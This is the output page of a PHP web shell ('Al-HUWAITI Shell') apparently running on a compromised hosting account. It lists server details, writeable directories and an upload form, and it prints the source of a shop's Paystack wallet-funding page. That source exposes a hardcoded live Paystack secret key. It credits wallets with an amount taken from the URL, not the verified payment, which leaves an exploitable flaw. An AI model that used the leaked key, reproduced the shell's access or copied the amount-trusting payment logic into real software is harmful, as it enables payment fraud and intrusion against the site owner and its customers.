Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/fund_result_paystack.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
 include("header.php"); ?>
<title><?php echo $company_name; ?> - Payment Result</title>

    <div class="all-title-box">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <h2>Payment Result</h2>
                    <ul class="breadcrumb">
                        <li class="breadcrumb-item"><a href="#">Home</a></li>
                        <li class="breadcrumb-item active"></li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- End All Title Box -->
<div class="checkout">
<div class="container">
<div class="row">
<div class="col-lg-6 pt-4 pt-lg-0">
<?php
if($_SERVER['REQUEST_METHOD'] == 'GET' ){
	
	$paystack_reference = mysqli_real_escape_string($con,$_GET['reference']);
	$wallet_id = mysqli_real_escape_string($con,$_GET['wallet_id']);
	$fund_amount = mysqli_real_escape_string($con,$_GET['fund_amount']);

	$gt = $fund_amount;
		
	$stmt_n = $con -> prepare('SELECT * FROM users WHERE user_id=?'); 
	$stmt_n -> bind_param('s',$user_id_db);
	$stmt_n -> execute(); 
	$stmt_n -> store_result(); 
	$stmt_n -> bind_result($id,$user_id,$first_name,$last_name,$email,$password,$phone,$address,$date_signed_up); 
	$numrows_n = $stmt_n -> num_rows();
	if($numrows_n > 0){
		$signed_in="Yes";
		while ($stmt_n -> fetch()) { }
	}
			
$result = array();
//The parameter after verify/ is the transaction reference to be verified
$url = "https://api.paystack.co/transaction/verify/$paystack_reference";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(
  $ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer sk_live_3f04af71e1698ab46bf9b05346ea594dcf8a34a3']
);
$request = curl_exec($ch);
curl_close($ch);
if ($request) {
    $result = json_decode($request, true);
     //print_r($result);
	 
    if($result){ 
		if($result['data']){ 
			//something came in
			if($result['data']['status'] == 'success'){
				 // the transaction was successful, you can deliver value
				 $status = $result['data']['status'];
				 $gateway_response = $result['data']['gateway_response'];
				 $transaction_date = $result['data']['transaction_date'];
				 
				 echo"<span class='explanation'>Your transaction reference is </span><span class='blue'>$paystack_reference</span><br/>";
				 echo "<span class='explanation'>The transaction was <span class='blue'>successful.</span></span><br/>";
				 echo "<span class='explanation'>Transaction Date - <span class='blue'>$transaction_date.<span></span><br/><br>";

$stmt_asake = $con -> prepare('SELECT * FROM transactions WHERE paystack_reference=?'); 
$stmt_asake -> bind_param('s',$paystack_reference);
$stmt_asake -> execute(); 
$stmt_asake -> store_result(); 
$numrows_asake = $stmt_asake -> num_rows();
if($numrows_asake < 1){
				 
//send email
$subject ="$first_name $last_name successfully funded their wallet";
$message1="";
$message1 .= "
<div style='font-family:Calibri;'>
	Name - <b>$first_name $last_name</b><br/>
	Email - <b>$email</b><br/>
	Amount - <b>$currency$fund_amount</b><br/>
	Ref - <b>$paystack_reference</b><br/>
	Response - <b>$gateway_response</b><br/>
	Date - <b>$transaction_date</b><br/>
	Payment Method - <b>Paystack</b><br/>
</div>
";
date_default_timezone_set('Africa/Lagos');
require 'PHPMailer/src/PHPMailer.php'; 
require 'PHPMailer/src/SMTP.php'; 
require 'PHPMailer/src/Exception.php';

$mail = new PHPMailer();

$mail->IsSMTP(); // telling the class to use SMTP
$mail->SMTPAuth = true; // enable SMTP authentication
$mail->Host = "smtp.titan.email"; // sets the SMTP server
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Set encryption to STARTTLS
	$mail->Port = 587; // Use port 587 for TLS
$mail->Username = "$no_reply_email"; // SMTP account username
$mail->Password = "$no_reply_password"; // SMTP account password
$mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from address
$mail->AddReplyTo("$company_email","$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject";
$mail->MsgHTML("<html><body>$message1</body></html>");
$mail->AddAddress("$company_email", 'Payment Page');//Send the message to yourself, or whoever should receive contact for submissions
 
//$mail->AddAttachment(""); // attachment

	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = 'Email not sent, please try again';
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "Hey $first_name thanks for getting in touch, we will get back to you ASAP!";

	

	}
	
	//email an autoresponse to the person too
	$mail->clearAddresses();
	$mail->clearReplyTos();
			$subject = "Your wallet was successfully funded";
			$message="";
			$button_link="$link/sign_in.php";
			$button_text="Log in";
			$email_topic="Your wallet has been successfully funded.";
			include("email_header.php");
			$message .=	"
			Dear $first_name,<br/><br/>
			
			Thank you for shopping up with us at $company_name.Your wallet has been credited with $currency$fund_amount which you can now use for shopping.<br/>If you have any questions please contact our dedicated support staff at $company_email<br/><br/>
			The $company_name Team.<br/><br/>
			";
				
			$message.="$email_logo<br/><br/>
			";
			include("email_footer.php");
$mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from address
$mail->AddAddress("$email", "$email");//Send the message to yourself, or whoever should receive contact for submissions
$mail->AddReplyTo("$company_email","$company_name"); //Put the submitter's address in a reply-to header
$mail->Subject = "$subject";
$mail->MsgHTML("$message");
	if(!$mail->Send()) {
	//echo "Mailer Error: " . $mail->ErrorInfo;
	$msg = 'Email not sent, please try again';
	} 
	else {
	//echo "Thanks for getting in touch, we will get back to ASAP";
	$msg = "Hey $first_name thanks for getting in touch, we will get back to you ASAP.";
	}
	
	
	//send  notification
	$content ="Your order wallet has been credited with $currency$fund_amount";
	$sender ="System";
	$receiver = "$user_id";
	$seen ="No";
	$date_notification = date("D,dS M, Y g:ia");
	
	mysqli_query($con,"INSERT INTO notifications VALUES(
	'0',
	'$content',
	'$sender',
	'$receiver',
	'$seen',
	'$date_notification'
	)")or die(mysqli_error($con));

$db_id=0; $order_id=""; $amount_remaining=0; $type="Credit"; $action="Self fund"; $success = "Success"; $date_wallet = date('Y-m-d H:i:s');
$stmt_wa = $con -> prepare('INSERT INTO wallet VALUES (?,?,?,?,?,?,?,?,?,?)');
$stmt_wa -> bind_param('isssssssss', $db_id,$wallet_id,$user_id,$order_id,$fund_amount,$amount_remaining,$type,$action,$success,$date_wallet);
$stmt_wa -> execute();
	
	
	$stmt = $con -> prepare('SELECT * FROM transactions WHERE paystack_reference=?'); 
	$stmt -> bind_param('s',$paystack_reference);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$numrows = $stmt -> num_rows();
	if($numrows < 1){
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO transactions VALUES (?,?,?,?,?,?,?)');
		$stmt -> bind_param('issssss', $db_id,$wallet_id,$gt,$paystack_reference,$status,$gateway_response,$transaction_date);
		$stmt -> execute();
	
	}
				 
//enable us refresh without doubling the wallet everytime
}
				 echo"
				 <form action='your_account.php' action='post'> <br>
				 <div style='text-align: center;'>
					<button class='btn btn-medium' style='background:$color;color:white;' type='submit'>Go to Account</button> 
				  </div>
				 </form>
				 ";
			}
			else{
				 // the transaction was not successful, do not deliver value'
				 //print_r($result);  //uncomment this line to inspect the result, to check why it failed.
				 $status = $result['data']['status'];
				 $gateway_response = $result['data']['gateway_response'];
				 $transaction_date = $result['data']['transaction_date'];
				 
				 echo"<span class='explanation'>Your transaction reference is </span><span class='blue'>$paystack_reference</span><br/>";
			     echo "<span class='explanation'>The transaction was <span class='blue'> NOT successful.</span></span><br/>";
				 echo "<span class='explanation'>Gateway Response - <span class='blue'>$gateway_response.<span></span><br/>";
				 echo "<span class='explanation'>Transaction Date - <span class='blue'>$transaction_date.<span></span><br/>";
				 
	//insert transaction details into database
	$stmt = $con -> prepare('SELECT id FROM transactions WHERE paystack_reference=?'); 
	$stmt -> bind_param('s',$paystack_reference);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($iiii); 
	$numrows = $stmt -> num_rows();
	if($numrows < 1){
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO transactions VALUES (?,?,?,?,?,?,?)');
		$stmt -> bind_param('issssss', $db_id,$wallet_id,$gt,$paystack_reference,$status,$gateway_response,$transaction_date);
		$stmt -> execute();
	
	}
				 
				 echo"
				 <form action='your_account.php' action='post'>
				 <div style='text-align: center;'>
					<button class='btn btn-medium' style='background:$color;color:white;' type='submit'>Back</button> 
				  </div>
				 </form>
				 ";
			}
		}
		else{
			echo $result['message'];
		}

    }
	else{
		//print_r($result);
        die("Something went wrong. Please try again later1.");
    }
}
else{
	//var_dump($request);
	die("Something went wrong. Please try again later2.");
}


}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";}
?>
</div>
</div>
</div>
</div>
</main>
<?php include("footer.php"); ?>

Al-HUWAITI Shell